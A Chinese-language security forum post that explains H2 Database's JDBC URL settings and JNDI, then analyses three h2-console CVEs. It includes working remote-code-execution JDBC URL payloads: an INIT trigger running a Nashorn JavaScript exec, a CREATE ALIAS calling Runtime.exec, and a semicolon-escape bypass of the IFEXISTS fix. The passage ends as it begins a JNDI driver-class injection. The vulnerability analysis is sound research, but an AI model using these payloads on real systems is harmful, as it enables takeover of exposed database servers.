-
-
[原创]H2 Database及其三个CVE详细分析
-
发表于: 1天前 342
-
H2 DataBase
H2 profile
一个纯 Java 编写的开源 SQL 数据库
有以下五个特征:
- 体积小巧,零依赖
H2 Database 主要为嵌入式场景设计
所以体积相比其他数据库更加轻量且不依赖任何外部库,单个 JAR 文件只需 2.1–2.7 MB
Browser-based Console
H2 提供基于浏览器的 Web 管理界面,便于开发和调试
- 磁盘 / 内存双模式
既可以将数据持久化到磁盘文件,也支持纯内存数据库,适用于不同使用场景
- 嵌入式 / 服务端双模式
可嵌入 Java 应用进程内运行(Embedded 模式),也可作为独立数据库服务器运行
- 原生支持
JDBC接口
H2 原生兼容 JDBC,便于 Java 应用快速集成
此外,H2 Database 的设计初衷是被用于内网环境或受保护的开发环境中,而非直接暴露至公网环境中
官方文档提到:H2 is not designed to be run outside of a secure environment.
所以 H2 官方其实不承认很多因为 web ui 暴露至公网所导致的 CVE
言外之意:我压根就不是这么设计的,你非要这么用,那后果自负
(虽然后面还是会打相应的补丁)
H2 JDBC
JDBC 是 Java 提供的 访问数据库的标准 API ,全称是 Java Database Connectivity
H2 的 JDBC URL 如下:
jdbc:h2:<mode>:<database>;<setting1>;<setting2>;...
<mode> 决定数据库的存储/连接方式
| 含义 | 示例 |
| 纯内存数据库 |
|
| 本地磁盘文件数据库 |
等价于
|
| TCP/IP 远程连接 |
|
| SSL 加密远程连接 |
|
<database> 是数据库名称,可以是文件名、内存名称、TCP 路径等
连接形式 | JDBC URL | <database> 示例 | 说明 |
内存数据库 |
|
| 内存数据库名称 |
匿名内存数据库 |
| 空 | 未显式指定名称 |
本地文件数据库 |
|
| 本地数据库文件路径 |
本地文件数据库 |
|
| 用户主目录下的数据库路径 |
TCP 远程连接 |
|
| 远程服务器上的数据库路径 |
SSL 远程连接 |
|
| 远程服务器上的数据库路径 |
<setting> 是可选的连接参数,控制数据库行为
漏洞常见的 setting 包括但不限于:
参数名称 | 参数作用 | 常见值 |
|
|
|
| 忽略未知 |
|
| 控制是否禁止创建数据库 |
|
| 传入 在 Console / Shell / 某些 SQL 过程里可控 | 默认为 通常劫持为
|
| 传入 |
|
H2 JNDI
JNDI 是 Java 提供的命名和目录服务标准 API ,全称是Java Naming and Directory Interface
它的作用是通过名称去查找资源,而不是在代码里直接硬编码资源对象
而 JNDI 注入是指当应用在初始化 JNDI 查询时
lookup() 的参数可被攻击者控制且未作过滤或过滤可绕过,攻击者可借此让应用去查询恶意命名服务

协议 | 作用 |
| 轻量级目录访问协议,约定了 |
|
|
| 域名服务 |
| 公共对象请求代理体系结构 |
CVE
CVE-2018-10054
适用版本:H2 Database 1.4.197 以及之前的所有版本
利用前提:仅需要http://ip:port/h2-console/可访问
Poc 以及成因:
如果网站管理员将下面的两个参数设置为了 True , 就会将 h2-console 这个 web 管理 ui 界面启用
spring.h2.console.enabled=true spring.h2.console.settings.web-allow-others=true
同时由于H2 database 预期只被部署在内网和受控网络环境中
所以 H2 Group 官方没有对 h2-console 做任何鉴权处理
而 h2-console 可以让我们完全自定义 JDBC 和 驱动类

同时 H2 Database 1.4.197 及之前并未禁止远程创建数据库且未对 JDBC URL 做任何过滤和限制
这就导致攻击者不需要事先知道具体有哪些数据库,也不需要考虑哪些 JDBC setting 不可用
攻击者可以任意指定数据库名,H2 database 会自动创建原本不存在的数据库
那么有以下两种攻击路径:
JSJDK
当目标 Java 版本较低时,可通过 JavaScript 方法 RCE :
Java8-Java14,Java 15以后Java自带的Nashorn JavaScript引擎被删除
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
var scanner = new java.util.Scanner(is).useDelimiter("\\A")
throw new java.lang.Exception(scanner.next())
$$;
--jdbc:h2:mem:test; 进入(不存在则创建)名为test的纯内存数据库
--MODE=MSSQLServer; 把 H2 切到 SQL Server 兼容模式
--INIT=... 连接建立时先执行一段初始化 SQL
--CREATE TRIGGER ... AS $$//javascript ... 在数据库里注册一个触发器,并把触发器逻辑写成脚本结果以异常的形式被抛出

jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS 'String rce(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';CALL EXEC ('open -a Calculator.app');CVE-2022-23221
适用版本:H2 Database 2.0.210 以及之前的所有版本
利用前提:仅需要http://ip:port/h2-console/可访问
Poc 以及成因:
在 CVE-2018-10054 被公布一段时间后,H2 Group 虽然一开始并不承认该漏洞
但最终还是在 1.4.198 修复了该漏洞
对于 H2 大于等于 1.4.198 的版本来说,如果使用CVE-2018-10054的Payload,会出现如下问题
Database “mem:test” not found, either pre-create it or allow remote database creation (not recommended in secure environments)
出现该问题的原因是 H2 group 认为该漏洞是之前未禁止远程创建数据库导致的
所以H2 group加了一条 if 语句
如果攻击者访问的数据库不存在,就强制在 JDBC URL 尾部追加一条;IFEXISTS=TRUE
也就是如果攻击者访问的数据库必须存在,否则报错,不会自动新建一个数据库

但是分号是可以被转义掉的,转义之后再使用一个已知的属性接受掉后面这块多余的字符串即可
比如AUTHZPWD和2.0.202之后引入的IGNORE_UNKNOWN_SETTINGS
事实上
在版本
1.4.198到2.0.210之间,H2 database支持不识别的属性,所以其实随便按下键盘都行
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
var scanner = new java.util.Scanner(is).useDelimiter("\\A")
throw new java.lang.Exception(scanner.next())
$$;XXX=\
--jdbc:h2:mem:test; 进入(不存在则创建)名为test的纯内存数据库
--MODE=MSSQLServer; 把 H2 切到 SQL Server 兼容模式
--INIT=... 连接建立时先执行一段初始化 SQL
--CREATE TRIGGER ... AS $$//javascript ... 在数据库里注册一个触发器,并把触发器逻辑写成脚本
--XXX=\使用一个已知或未知的属性接收多余字符串CVE-2021-42392
适用版本:H2 Database 2.0.206 以及之前的所有版本(不包含H2 Database 2.0.206)
利用前提:仅需要http://ip:port/h2-console/可访问
Poc 以及成因:
在之前的 CVE 中,我们只控制了JDBC URL
但是我们可以通过控制驱动类进行 JNDI 注入攻击

可以看到,Driver Class 有两种可能的类别:java.sql.Driver和javax.naming.Context
默认的org.h2.Driver是实现的java.sql.Driver接口
但在第二个if语句的注释里已经告诉我们了,这里同样支持JNDI的方式来查找数据库连接
只需要将driver class设置为javax.naming.InitialContext
